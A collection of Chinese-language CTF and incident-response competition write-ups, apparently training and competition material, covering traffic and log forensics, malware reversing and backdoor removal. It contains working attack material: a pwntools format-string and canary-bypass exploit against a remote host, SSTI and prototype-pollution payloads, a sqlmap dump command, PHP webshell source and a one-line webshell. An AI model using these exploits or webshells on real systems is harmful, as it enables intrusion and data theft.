数据分析检测 收集信息如下: 身份證號：51********0728**10 md5：48ef223d1f70475f08e7206b9f36ed9d 直接hashcat爆破即可: hashcat -a 3 -m 0 48ef223d1f70475f08e7206b9f36ed9d 51?d?d?d?d?d?d?d?d0728?d?d10 flag{511421198307282710} 混淆流量分析 使用过滤器http.request.method == POST, 查看高危操作. 可以找到蚁剑的流量. 根据大小排序, 追踪流, 发现了如下字符串: synt是明显的凯撒加密, 用解密脚本破解即可: caesar.ps1 JSP后门排查 感觉根目录下的/tmp/config.sh很可疑, 因为权限是777. 原来是出题的文件: 定位到了木马文件, 之后删除. 发现原来还有定时任务 得到flag: Sqlserver异常日志分析 只有一个IP地址, 不可能是其他的了. 按照题目要求, "显示高级设置的命令"应该有个关键字"show". 直接搜索该关键字, 图中所示的英文与题目要求匹配, 提交即可: flag{192.168.0.152show_advanced_options} 个人 攻击IP地址 flag{10.10.11.28} Linux异常日志分析 就找登录失败被系统封禁的IP, 逐个提交尝试, 第二个IP就是 flag{103.68.187.159} Windows异常日志分析 建了一堆账户, 但是都给删除了. 唯独没删admin5 查看登录成功的记录: 其余的都是127.0.0.1, 只有这一个局域网IP 直接在powershell的日志里搜索ps1, 就得到了脚本名称: 最终flag: flag{192.168.75.139admin5found.ps1} 防火墙日志分析 任意文件读取, 直接搜索关键字file flag{/etc/httpd/conf/httpd.conf} Redis修复 ps -aux查看进程, 有一个redis, 猜测是redis无密码登录. 设置一下密码即可得到flag 恶意脚本流量分析 直接用wireshark导出所有对象, 压缩包里就有sql文件: flag{wstmart} 主机漏洞隐患修复 查看docker容器的启动文件/run.sh(出题方竟然没有在dockerfile里删除这个文件, 真有意思) 根据提示寻找三个程序的配置文件. 得到如下flag: flag{ssh5101a52614b29+httpd101a52614b29f1} 把ssh和httpd的顺序调换一下就是最终flag 服务器后门排查 这道题要求使用私钥登录, 事出反常必有妖. 登录后首先查看authorized_keys, 果然有个hacker的密钥, 注释掉即可得到flag: 异常工控流量分析 添加自定义字段data并按data排序, 得到部分flag: flag{??2c0163806149199f01431705cbe6??} 还有其余两个写操作: fd/5/1b 根据地址: 起始地址 长度 值 0 38 flag{??2c0163806149199f01431705cbe6??} 5 2 1b 34 1 5 35 2 fd 拼接得到flag: flag{1b2c0163806149199f01431705cbe5fd} Webshell后门排查 登录后查看提示文件/restart.sh, 发现运行的程序是tomcat. 查看tomcat进程的启动参数, 得到web根目录: 逐个查看jsp文件, 发现了木马文件controller.jsp. 删除掉即可(不能move, move不出flag, 我试过了) flag{e92f64d4-28b6-e3ab-6d05-65646ffb7cda}
日志数据分析1 使用工具打开分析日志文件 flag{10.10.88.1012023-10-26_11:16:24} 日志数据分析2 搜索关键字: "/bin" 得到flag1{nzud9lghka0v95bu} 搜索关键字: flag[^s] 得到: flag2{s6owb741o2jcbixm} 拼接得到flag{nzud9lghka0v95bus6owb741o2jcbixm} 流量数据分析3 过滤POST请求: http.request.method == "POST" 发现有“=50=44=”字样的请求包, 追踪HTTP流, 得到如下内容: 解码Hex再解码Base64得到木马源代码. 解码 <?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //è¯¥å¯é¥ä¸ºè¿æ¥å¯ç 32ä½md5å¼çå16ä½ï¼é»è®¤è¿æ¥å¯ç rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} //@call_user_func(new C(),$params) // 这里简单修改, 用kali运行起来 echo $post; ?> 在wireshark中寻找木马的响应包, 解密可得到flag flag{6ao6bnliyelpf2m5wudmt8ldudtnger8} 日志数据分析3 先过滤状态码为200的请求, 再过滤非static的请求, 最后提取http_body: Get-Content .\access.log | Where-Object {$_ -like "*status`":200*"} | Where-Object {$_ -notlike "*/static/*" } | % { $json = ConvertFrom-Json $_; $json.http_body } 因为一般的一句话木马写法是: <?php eval($_POST["passwd"]);?>, 所以POST请求的参数名就是密码. flag{5Zeo8A35Blcx6E0yq0Gk6iIu21TzQVLC} 恶意样本分析4 本来以为是个逆向呢, 一看图标是个python 解包python, 获得源码: python .\pyinstxtractor.py .\a.exe .\pycdc.exe -o src.py .\a.exe_extracted\CTF.pyc # Source Generated with Decompyle++ # File: CTF.pyc (Python 3.10) def func1(state, key, length): for i in range(256): state[i] = i j = 0 for i in range(256): j = (j + state[i] + key[i % length]) % 256 state[i] = state[j] state[j] = state[i] def func2(state, out, length): (i, j) = (0, 0) for idx in range(length): i = (i + 1) % 256 j = (j + state[i]) % 256 state[i] = state[j] state[j] = state[i] out[idx] ^= state[(state[i] + state[j]) % 256] def func(): state = (lambda .0: [ i for i in .0 ])(range(256)) key = (lambda .0: [ ord(char) for char in .0 ])('flag') input_str = input('你的文件已经被加密，请输入正确的密钥来进行解密：') input_bytes = bytes(input_str, 'utf-8') if input_bytes[0] != 102 and input_bytes[1] != 108 and input_bytes[2] != 97 and input_bytes[3] != 103 and input_bytes[4] != 123 or input_bytes[20] != 125: return None in_data = None(input_bytes[5:20]) func1(state, key, 4) func2(state, in_data, 15) enc_flag = [ 152, 152, 187, 86, 173, 143, 37, 84, 229, 52, 176, 7, 31, 231, 128] if in_data == bytearray(enc_flag): print('恭喜你解密成功！快去提交flag吧') return None None('对不起密钥不对哦') if __name__ == '__main__': func() return None 是一个异或加密, 可逆. 修改一下代码, 使其重新加密一下enc_flag. 还有反编译的源码不对, 有一个地方似乎是要交换数组的两个值, 但是反编译出来的代码逻辑错了 # Source Generated with Decompyle++ # File: CTF.pyc (Python 3.10) def func1(state, key, length): for i in range(256): state[i] = i j = 0 for i in range(256): j = (j + state[i] + key[i % length]) % 256 t = state[i] state[i] = state[j] state[j] = t def func2(state, out, length): (i, j) = (0, 0) for idx in range(length): i = (i + 1) % 256 j = (j + state[i]) % 256 t = state[i] state[i] = state[j] state[j] = t out[idx] ^= state[(state[i] + state[j]) % 256] def func(): state = list(range(256)) key = b'flag' func1(state, key, 4) enc_flag = [ 152, 152, 187, 86, 173, 143, 37, 84, 229, 52, 176, 7, 31, 231, 128] func2(state, enc_flag, 15) print(enc_flag); if __name__ == '__main__': func() flag{who_find_me_ohh} 流量数据分析2 过滤http请求, 可以得到一个server.key. 因为有很多TLS流量, 所以猜测可使用该key解密TLS: 在http请求中发现了木马文件源码: <?php @error_reporting(0); function decrypt($data){ $key="e45e329feb5d925b"; $bs="base64_"."decode"; $after=$bs($data.""); for($i=0;$i<strlen($after);$i++) { $after[$i] = $after[$i]^$key[$i+1&15]; } return $after;} $post=Decrypt(file_get_contents("php://input")); //这里简单修改, 用来解码 echo $post; ?> 过滤http && tls, 查看解密后的tls流量. 逐个追踪流. Keep your eyes on my command. 发现了flag: 提交不对.......根据提示, 找到了一张图片 继续查看流, 发现了另一个线索: 053700357621 是steghide, 解密可得flag flag{i_am_4_Sk111ed_H4ck32} 漏洞隐患修复1 开启环境, fscan扫描发现文件上传和ftp匿名登录: dirsearch扫描发现存在目录列出/uploads 里面有一个ma.php. 上传一个一句话木马, 蚁剑连接. 修改/etc/vsftpd.conf, 把匿名登录关闭; 修改/var/www/html/upload.php, 添加黑名单过滤上传 重启一下ftp即可得到flag: flag{ldbx3G34TGxpVpcsxayX16dRVaZtMVOW} 漏洞隐患修复3 GET /OA_content.php?id=2%20or%201=2 HTTP/1.1 Host: 172.35.37.179 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UA=b2243a6f571176571e496260f845129c Connection: close 有布尔型盲注, 但是不会写脚本...... 团队 apt 根据题目提示, 过滤dns流量查找域名. 自定义列, 根据域名排序. 找到了如下包: flag{jimkim.xyz39.103.188.219} 木马后门排查 flag{kLJLAcvDXFHiLEhdCOOElkSIztCajNCh} 登录, 搜索eval/base64等关键字, 得到如下: 是自定义协议的马. 在本机kali上编写两个文件用于加密和解密: <?php //@error_reporting(0); $p8='c3284d0f94606de1fd2af172aba15bf3'; $a8='TkRRNE1UazJNamN5T0RFMk1USTRPWHBSS3prMWIzbFZiRk5rZG5SQ1EyOWpRMnh6U0djOVBRPT0='; $d8='[binary]'; $v8='4481962728161289'; function d($D, $K){ $cipher='aes-128-cbc'; $decodedData=base64_decode(base64_decode($D)); $encryptedData=substr($decodedData, openssl_cipher_iv_length($cipher)); $decrypted=openssl_decrypt($encryptedData,$cipher,$K,0,$GLOBALS['v8']); return $decrypted; } $a8=trim(d($a8,$p8)); $d8=trim(d($d8,$p8)); echo $a8; echo "d8:"; echo $d8; echo " "; echo " "; echo "----------"; echo " "; //echo $_POST['d']; $post=d($_POST['d'], $p8); echo $post; ?> <?php //@error_reporting(0); $p8='c3284d0f94606de1fd2af172aba15bf3'; $a8='TkRRNE1UazJNamN5T0RFMk1USTRPWHBSS3prMWIzbFZiRk5rZG5SQ1EyOWpRMnh6U0djOVBRPT0='; $d8='[binary]'; $v8='4481962728161289'; function e($D,$K){ $cipher='aes-128-cbc'; $encrypted=openssl_encrypt($D,$cipher,$K,0,$GLOBALS['v8']); $result=base64_encode($GLOBALS['v8'].$encrypted); $result=base64_encode($result); return $result; } $a8=trim(d($a8,$p8)); $d8=trim(d($d8,$p8)); echo $a8; echo "d8:"; echo $d8; echo " "; echo " "; echo "----------"; echo " "; $post=e(file_get_contents("php://input"), $p8); echo $post; ?> 得到木马的相关信息如下: a8: assert d8: @eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}") # 根据注释提示, 得到id=md5('admin') 构造payload删除木马文件即可:
题目附件, 解压密码是: K2R4OC0rWndrLStkY1UtK2E5SS0raS9jLStiT2ctK1lROC0r 题目书: 题目书.pdf 第一部分: 网络安全防护 平台没设置防爆破, 其实直接爆破就行. 唉, 太老实了 前端服务器检查 flag{015679} 0和1如图中标黄所示; 3其实也没设置, 但是提交flag试出来却是正确的; 5是提交flag试出来的; 6: export命令没有TMOUT变量; 7: 执行history命令发现完全不符合加固要求; 9: 读/etc/vsftpd.conf的配置文件, 似乎是开了log; 但是直接cat /var/log/vsftpd发现不存在该文件, 应该是没开的. 数据库服务器检查 flag{0134579} 0: 不确定. 按理说0应该是正确的才对? 见上述截图和后续的附图 1: 查看权限如上所示, 和题目要求不符; 3: 使用命令mount | grep vdb没有输出; umount /mnt无法卸载, 说明挂载不正确; 5: crontab -l, 可以看到是三个*, 说明不是每日备份而是每月备份; 7: cat ~/.ssh/auth*可以看到未正确配置公钥(把私钥弄进去了) 9: cat /etc/debian_version可以看到是12.4 关于0, 这里感觉0应该是正确的: Windows检查 不知道, 没做出来 第二部分: xxx 气死了, 没有的客户端怎么连? 配了半天l2tp就是连不上, 气死了. 第三部分: 网络安全处置 恶意样本分析 ida8.3打开就是, flag是上图中标黄的内容 Linux 后门分析 病毒是个多进程的程序, 运行后主进程会退出, 使用proxychains不能有效追踪. 改用用命令strace可以查看系统调用 strace -o out.log -f ./4ac7321fe33c604bf143e656046b3663 勒索程序分析 IDA看了下, 链接是在data端的字符串里的. 所以直接记事本打开, 按照题目提示查找关键词"http"和"pem格式公钥的特征"-----BEGIN RSA PUBLIC KEY-----"即可找到前两题的flag: 第三题需要静态分析. 符号表保留的很好, 有一个encrypt函数, 在里面有加密分块的大小: 社工钓鱼分析（文档类) 首先不是dotm先不考虑宏病毒. 不打开文件, 先解压看看. 这个在去年hw的时候还发过预警, 当时群里到处传. 在固定路径里找到上述文件即可 参考: CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】 - komomon - 博客园 (cnblogs.com) 社工钓鱼分析（PE 类) 据说这个真的是个病毒 先清空dnspy里面打开的程序集, 之后用dnspy32打开, 查看其引用的包和类. 发现有WebResponse和WebRequest . 查看其被使用的记录, 可以看到如下代码是检测网络连接的, 得到url是https://google.com 右键编辑方法, 打一个patch, 让他跳过联网检测: 右键分析, 找到调用上述方法的地方: 根据题目提示, array大概率是密钥. 之后追踪该数组的赋值, 发现在这个地方可以取其最终值, 打一个断点, 继续单步调试获取到内存中的dll信息: flag{ArgenTINA.dll} flag{0x264C7298BEE400000000000000000000} 将patch过的木马放到虚拟机里运行, 杀毒软件给出了木马的文件名:
竹林寺 给了个码表, 在cyberchief里对比了一下, 长度和base32一样, 应该是换表的base32 basecrack直接解出flag dir_pacp 流量包里搜索"flag", 发现存在ftp-data流量 直接导出对象, 发现有字典. 爆破压缩包即可得到flag 孔子庙 修改png的高度得到flag 十八盘 打开key文件, 发现结尾有IEND字样, 怀疑可能是PNG文件. 正好有一个hint.png, 因为png文件包括IHEAD,IDATA,IEND三个标志性的部分, key文件缺少IHEAD和IDATA, 所以尝试用hint.png的部分内容进行补充: 尝试修改高度, 但是依然显示不出来. 利用ImHex打开hint.png进行分析, 在IDATA段中有部分内容表示"长度". 其值与hint.png的文件大小相近. 修改key.png的相应长度, 改为hex(5343). 得到了一个key. 手头能与misc + 图片 + key三个关键字匹配的东西只有"加密lsb隐写"和"steghide"了. 测试发现steghide只支持jpg, 用lsb解码可得到flag: 普照寺 输入'试了一下, 有waf. 输入"id=1"可以查询到文章 把链接复制给sqlmap, 可以直接注入: 最终得到flag: sqlmap -u http://192.168.200.254:25078/index.php?id=1 -D ctf -T flag --dump 日观峰 Ghidra逆向, 核心代码如下: base64_map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; flag_len = strlen(flag_str); local_1a4 = (int)flag_len; if (local_1a4 % 3 == 0) { local_1c8[1] = local_1a4 / 3 << 2; } else { local_1c8[1] = (local_1a4 / 3) * 4 + 4; } local_114 = 0; for (local_134 = 0; local_134 < local_1c8[1] + -2; local_134 = local_134 + 4) { // 这里有一个异或操作, 而且是把base64的结果进行异或 abStack_182[(longlong)local_134 + 2] = base64_map[(int)(uint)(byte)flag_str[local_114] >> 2] ^ 4 ; abStack_182[(longlong)(local_134 + 1) + 2] = base64_map [(int)(((byte)flag_str[local_114] & 3) << 4 | (int)(uint)(byte)flag_str[local_114 + 1] >> 4 )] ^ 5; abStack_182[(longlong)(local_134 + 2) + 2] = base64_map [(int)(((byte)flag_str[local_114 + 1] & 0xf) << 2 | (int)(uint)(byte)flag_str[local_114 + 2] >> 6)] ^ 6; abStack_182[(longlong)(local_134 + 3) + 2] = base64_map[(int)((byte)flag_str[local_114 + 2] & 0x3f)] ^ 7; local_114 = local_114 + 3; } puVar2 = (undefined *)((longlong)local_1a4 % 3 & 0xffffffff); local_24 = (int)puVar2; if (local_24 == 1) { abStack_182[(longlong)(local_134 + -2) + 2] = 0x3d; abStack_182[(longlong)(local_134 + -1) + 2] = 0x3d; } else if (local_24 == 2) { abStack_182[(longlong)(local_134 + -1) + 2] = 0x3d; } for (local_134 = 0; local_134 < 42; local_134 = local_134 + 1) { puVar2 = &DAT_1400dc000; if (abStack_182[(longlong)local_134 + 2] != (&DAT_1400dc000)[local_134]) { thunk_FUN_140045110(0x1400c50f0,&DAT_1400dc000,param_3,param_4); thunk_FUN_14005b9f0(0); } } 根据字符串的特征, 猜测极有可能是base64编码. 但是分析可以看到是一个变异的base64, 每四组base64的结果会与[4,5,6,7]数组进行异或. 目标bytes是&DAT_1400dc000 编写脚本先处理异或的结果: $base = @( 0x5e, 0x68, 0x7e, 0x6f, 0x5e, 0x36, 0x72, 0x6f, 0x60, 0x68, 0x4c, 0x6a, 0x65, 0x36, 0x62, 0x74, 0x60, 0x52, 0x6e, 0x76, 0x5e, 0x42, 0x76, 0x7f, 0x60, 0x4d, 0x5c, 0x77, 0x67, 0x37, 0x7e, 0x72, 0x5e, 0x68, 0x33, 0x33, 0x65, 0x42, 0x50, 0x6c, 0x5e, 0x4d, 0x35, 0x4a, 0x00 ) $flag = @(); foreach($i in 1..$base.Count) { $flag += $base[$i - 1] -bxor (($i - 1) % 4 + 4); } echo "$([char[]]$flag -join '')" 得到: 直接base64解密得到flag 碧霞祠 源码审计, 是nodejs: const app = require('express')() const session = require('express-session') const bodyParser = require('body-parser') const rand = require('string-random') const SECRET = rand(32, '0123456789abcdef') const fs = require("fs") const LISTEN = '0.0.0.0' const PORT = 8000 app.use(bodyParser.urlencoded({ extended: false })) app.use(bodyParser.json()) //merge一定存在原型链污染, 不然这道题考什么? function merge(user, source) { for (let key in source) { // 这里是将source给merge到user里面, 而且用的是in关键字, 会出现__proto__ if (key in source && key in user) { merge(user[key], source[key]) } else { user[key] = source[key] } } return user; } app.get('/', (req, res) => { res.send('/source') }) // 传任意用户名和密码即可登录 app.post('/login', (req, res) => { let user = {} let json = JSON.parse(req.body.json) user = merge(user, json) if (user['name'] != null && user['pass'] != null) { res.send("登陆成功") } res.send("登陆失败") }) app.get('/index', (req, res) => { let user = {} try { if (user.flag === "getIt_!") res.send(fs.readFileSync('/flag').toString()); } catch (e) { res.send("error！") } res.send("can't get flag") }) app.get('/source', (req, res) => { var data = fs.readFileSync('app.js'); res.send(data.toString()); }) app.listen(PORT, LISTEN, () => { console.log(`listening ${LISTEN}:${PORT}...`) }) 只需要构造payload, 使Object对象存在flag属性, 并使其值等于"getIt_!", 即可 json={"name": "admin", "pass": "1' or 1=1 #--", "__proto__": {"flag" : "getIt_!"}} 零岩寺 一个win32程序, 输入密码会把flag.txt处理成flag1.txt. ghidra进行静态分析, 关键代码如下: else if (uStack_2e4 == 0x100) { GetWindowTextA(pHStack_300,(LPSTR)abStack_360,9); eStack_3a4 = fopen_s(apFStack_2c0,"flag.txt","rb+"); sVar1 = fread(auStack_340,0x20,1,apFStack_2c0[0]); aiStack_3c8[1] = (int)sVar1; if (aiStack_3c8[1] != 0) { thunk_FUN_140044380((longlong)auStack_340,0x20,(longlong)abStack_360,8); } thunk_FUN_14005b994(apFStack_2c0[0]); if ((eStack_3a4 == 0) && (eStack_384 = fopen_s(apFStack_2a0,"flag1.txt","w"), eStack_384 == 0) ) { // 写文件, apFStack_2a0是句柄, 返回写的长度 _Var2 = thunk_FUN_14005c56c(auStack_340,0x20,1,(longlong)apFStack_2a0[0]); iStack_284 = (int)_Var2; if (iStack_284 != 0) { // 这里对一个变量进行了异或运算 for (uStack_264 = 0; uStack_264 < 8; uStack_264 = uStack_264 + 1) { abStack_360[(int)uStack_264] = abStack_360[(int)uStack_264] ^ 0x18; } // 还是写文件的函数 _Var2 = thunk_FUN_14005c56c(abStack_360,7,1,(longlong)apFStack_2a0[0]); iStack_244 = (int)_Var2; if (iStack_244 == 0) { MessageBoxW(param_1,L"加锁失败",L"警告",0); } else { thunk_FUN_14005b994(apFStack_2a0[0]); MessageBoxW(param_1,L"加锁成功",L"警告",0); } } } } 可以分析出, 该程序会在flag1.txt后面追加八个字节的变量, 该变量与0x18逐字节做异或运算. 因此, 编写脚本在flag1.txt中提取该变量: $content = [System.IO.File]::ReadAllBytes(".\flag1.txt"); $key = 1..8 | % { $content[0-$_] -bxor 0x18; } [array]::Reverse($key); [char[]]$key -join "" 可以得到一个字符串, 后七个字节与在密码框中输入的密码的前七个字符相同. 但是第一个字节不相同. 尝试还原flag.txt文件中的该变量: 可以猜到源文件加密时候的密码是ashjkgg%w, 其中%w表示一个ascii字符. 先把gashjkgg输入, 直接得到了flag(????) 关帝庙 网页使用了Symfony 5.4.13框架, 查找框架的路由 发现/pdf路由使用了库DomPdf. 访问即可自动下载pdf文件. 在本机搜索相关cve, 发现dompdf存在CVE-2022-41343漏洞, 且版本匹配: 根据该cve的描述, DomPDF框架在接收到带有指定字体的 http://192.168.135.135:21080/public/index.php/pdf?content= 使用蚁剑连接, 即可得到flag 中天门 程序主代码如下: __isoc99_scanf(&DAT_0010313f,local_132); sVar2 = strlen(local_132); // 这两个函数不知道什么意思, 动态调试看看运行结果 FUN_0010139c(local_198,local_132,(uint)sVar2); FUN_001014d5((long)local_128,local_198); // 登录判断的逻辑在这里 iVar1 = strcmp(&DAT_00103010,local_128); if ((iVar1 != 0) || ((iVar1 = strcmp(&DAT_00103010,local_128), iVar1 == 0 && (local_132[0] != 'A')))) { puts(&DAT_00103142); /* WARNING: Subroutine does not return */ exit(1); } puVar3 = &DAT_0010315d; puts(&DAT_0010315d); for (local_1a0 = 2; local_1a0 != 0; local_1a0 = local_1a0 + -1) { FUN_0010235e(); iVar1 = FUN_0010238d(); if (iVar1 == 3) { /* WARNING: Subroutine does not return */ reboot((int)puVar3); } if (iVar1 < 4) { if (iVar1 == 1) { FUN_001023e0(); } else if (iVar1 == 2) { FUN_001024c3(); } } } 需要登录, 动态调试一下, 发现FUN_0010139c和FUN_001014d5两个函数其实是在对输入的密码进行md5计算 图中输入的密码是"test", strcmp函数的第二个参数为"098f6bcd4621d373cade4e832627b4f6", 正好是md5(test) DAT_00103010的内容为: { 0x4d, 0x89, 0x00, 0x4a, 0xb4, 0x7e, 0x54, 0xc2, 0xf7, 0x3a, 0xd4, 0xc0, 0xeb, 0x39, 0x74, 0x70 } 又因为strcmp函数遇到"\0"即停止, 因此该md5校验其实只校验前三个字节: {0x4d, 0x89, 0x00}. 根据!strcmp(s1, s2) && v8[0] != 'A', 密码的第一个字符还必须等于A 编写脚本爆破得到密码: A9477134 import hashlib start = "4d8900" while True: for i in range(100000000): s='A'+str(i) if hashlib.md5(s.encode()).hexdigest().startswith(start): print(s) 登录之后, 输入1查询电表, 可进入下述函数: void FUN_001023e0(void) { int iVar1; time_t tVar2; long in_FS_OFFSET; undefined local_78 [16]; char local_68 [88]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); tVar2 = time((time_t *)0x0); srand((uint)tVar2); puts(&DAT_00103088); memset(local_78,0,0x10); memset(local_68,0,0x50); read(0,local_78,0x10); iVar1 = rand(); //存在格式化字符串漏洞, 可泄露canery和base addr sprintf(local_68,&DAT_001030ae,local_78,(ulong)(iVar1 % 0xbb9 + 2000)); printf(local_68); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } 得到exp如下: #coding=utf-8 from pwn import * # io=process('./elec_control') io = remote("192.168.200.254", 20063) io.recvuntil(':') io.sendline('A9477134') io.recvuntil('3.重启设备\n') io.send(b'1') io.recvuntil(':\n') io.send('%21$p%23$p') io.recv(6) canary=int(io.recv(18),16) pie_base=int(io.recv(14),16)-0x00000000000026F4 log.success("canary => {}".format(hex(canary))) log.success("pie_base => {}".format(hex(pie_base))) backdoor=pie_base+0x00000000000022EA payload=b'a'*0x108+p64(canary)+p64(0xdeadbeef)+p64(backdoor) io.recvuntil('3.重启设备\n') io.send('2') io.recvuntil(':\n') io.send(payload) io.interactive() 得到flag:
tvAPp 在jadx里面搜索"flag"关键词, 找到两个加解密类和一个编码类, 提取出代码, 直接运行即可. 代码如下, 注意需要将引用自Android的Base64类更换成Java包的Base64类: import java.security.spec.KeySpec; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import java.util.Base64; /* loaded from: classes6.dex */ public class DESUtil { private static final String ALGORITHM = "DES"; private static final String CHARSET = "UTF-8"; private static final String SECRET_KEY = AESUtils.decrypt("pWAUtB9MRlb87cI4jnhScBYDUxyJDov9646HaVpPhv8=", "wyq6hxm1cqmq4w8r"); private static final String TRANSFORMATION = "DES/ECB/PKCS5Padding"; public static String decrypt(String encryptedData) throws Exception { KeySpec keySpec = new DESKeySpec(SECRET_KEY.getBytes("UTF-8")); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(ALGORITHM); SecretKey secretKey = keyFactory.generateSecret(keySpec); Cipher cipher = Cipher.getInstance(TRANSFORMATION); cipher.init(2, secretKey); byte[] encryptedBytes = Base64.getDecoder().decode(encryptedData); byte[] decryptedBytes = cipher.doFinal(encryptedBytes); return new String(decryptedBytes, "UTF-8"); } } import java.util.Base64; import java.nio.charset.Charset; import java.nio.charset.StandardCharsets; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* loaded from: classes6.dex */ public class AESUtils { private static final Charset CHARSET_UTF8 = StandardCharsets.UTF_8; private static final String CIPHER_ALGORITHM = "AES/ECB/PKCS5Padding"; private static final String DEFAULT_VALUE = "0"; private static final String KEY_ALGORITHM = "AES"; public static final int SECRET_KEY_LENGTH = 16; public static String encrypt(String data, String secretKey) { try { Cipher cipher = Cipher.getInstance(CIPHER_ALGORITHM); cipher.init(1, getSecretKey(secretKey)); byte[] encryptByte = cipher.doFinal(data.getBytes(CHARSET_UTF8)); return base64Encode(encryptByte); } catch (Exception e) { handleException(e); return null; } } public static String decrypt(String base64Data, String secretKey) { try { byte[] data = base64Decode(base64Data); Cipher cipher = Cipher.getInstance(CIPHER_ALGORITHM); cipher.init(2, getSecretKey(secretKey)); byte[] result = cipher.doFinal(data); return new String(result, CHARSET_UTF8); } catch (Exception e) { handleException(e); return null; } } public static SecretKeySpec getSecretKey(String secretKey) { return new SecretKeySpec(toMakeKey(secretKey, 16, "0").getBytes(CHARSET_UTF8), "AES"); } private static String toMakeKey(String secretKey, int length, String text) { int strLen = secretKey.length(); if (strLen < length) { StringBuilder builder = new StringBuilder(); builder.append(secretKey); for (int i = 0; i < length - strLen; i++) { builder.append(text); } return builder.toString(); } return secretKey; } public static byte[] base64Decode(String data) { return Base64.getDecoder().decode(data); } public static String base64Encode(byte[] data) { return Base64.getEncoder().encodeToString(data); } private static void handleException(Exception e) { e.printStackTrace(); } } private static String reverseflagString(String input) { char[] charArray = input.toCharArray(); int left = 0; for (int right = charArray.length - 1; left < right; right--) { char temp = charArray[left]; charArray[left] = charArray[right]; charArray[right] = temp; left++; } return new String(charArray); } public static void main(String[] args) throws Exception { System.out.println("Hello world!"); String flag = reverseflagString("68664e65512f542b38792f544e457455496b63546d64744b413276426e6a5034304a35547357713873645332626a694e72332b556c773d3d"); System.out.println(flag); flag = DESUtil.decrypt("hfNeQ/T+8y/TNEtUIkcTmdtKA2vBnjP40J5TsWq8sdS2bjiNr3+Ulw=="); System.out.println(flag); } Hello Python 使用{{1+1}}fuzz一下, 用户名处存在SSTI. 使用脚本爆破得到可利用的linecache: import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' } for i in range(500): url = "http://538e1d80e17e0db1.node.nsctf.cn/" postData = {"username": "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}", "passwd": "123"} res = requests.post(url=url, headers=headers, data=postData) if 'linecache' in res.text: print(i) #251 #254 #255 #256 #327 #328 payload: username={{[].__class__.__base__.__subclasses__()[251].__init__.__globals__['linecache']['os'].popen('cat /root/flag').read()}}&passwd=213123 竞赛开始的那一刻 先使用upx脱壳, 之后在字符串比较前设置断点, 动态调试即可得到flag: 解密脚本: $oriString = "1681261200"; $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = New-Object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($oriString))) $hash = [char[]](($hash -replace '-','').ToLower()); $hexMap = "0123456789abcdef"; $targetFlag = "flag{" $hash | % { $t = [int][char]$_; $targetFlag += [char]($hexMap[($t -bxor 199) -shr 4]); $targetFlag += [char]($hexMap[($t -bxor 199) -band 0xf]); } echo $targetFlag 08-签到crypto 先解码base64得到莫斯编码: ....- -.. ..... .- ..... --... ....- --... ....- ...-- ..... .- ...-- ...-- ...-- ...-- ....- --... ....- -.. ..... ----. ..... --... ....- ...-- ....- -.. ....- .- ..... ----. ....- -.. ....- -.... ..... ...-- ....- --... ....- ----. ....- -.. ....- ..--- ..... ....- ....- --... ....- ..... ...-- ....- ..... ....- ....- -.. ..... .- ....- ..--- ..... .- ....- --... ....- ----. ...-- ....- ..... ....- ....- ..-. ....- -.. ....- -.-. ....- ..... ....- --... ....- .---- ...-- ..--- ....- ....- ....- ----. ..... ----. ....- .- ..... .---- ....- ---.. ....- .---- ..... .- ..... ....- ....- ..-. ....- . ..... .- ..... ---.. ....- -.. ....- ..... ...-- ...-- ....- ---.. ...-- ..--- ...-- -.. ...-- -.. ...-- -.. 再接莫斯编码: 4D5A5747435A3333474D5957434D4A594D465347494D4254474534544D5A425A474934544F4D4C454741324449594A5148415A544F4E5A584D453348323D3D3D hex MZWGCZ33GMYWCMJYMFSGIMBTGE4TMZBZGI4TOMLEGA2DIYJQHAZTONZXME3H2=== base32 flag{31a18add03196d92971d044a083777a6} 我是ASCII &0#3;8&0#7;7&0#9;0&0#8;7&0#7;1&0#6;7&0#9;0&0#5;1&0#5;1&0#7;1&0#7;0&0#9;1&0#4;8&0 #4;5&0#4;9&0#9;3&0#7;6&0#6;6&0#7;1&0#8;9&0#5;0&0#7;1&0#7;5&0#7;7&0#8;2&0#8;7&0#3 ;5&0#8;2&0#7;1&0#7;1&0#7;9&0#7;4&0#8;9&0#7;1&0#6;5&0#9;0&0#8;4&0#8;1&0#7;7&0#9;2 &1#0;0&0#7;7&0#7;0&0#8;2&0#8;4&0#6;7&0#7;8&0#7;4&0#8;2&0#7;1&0#8;1&0#8;9&0#5;9&0 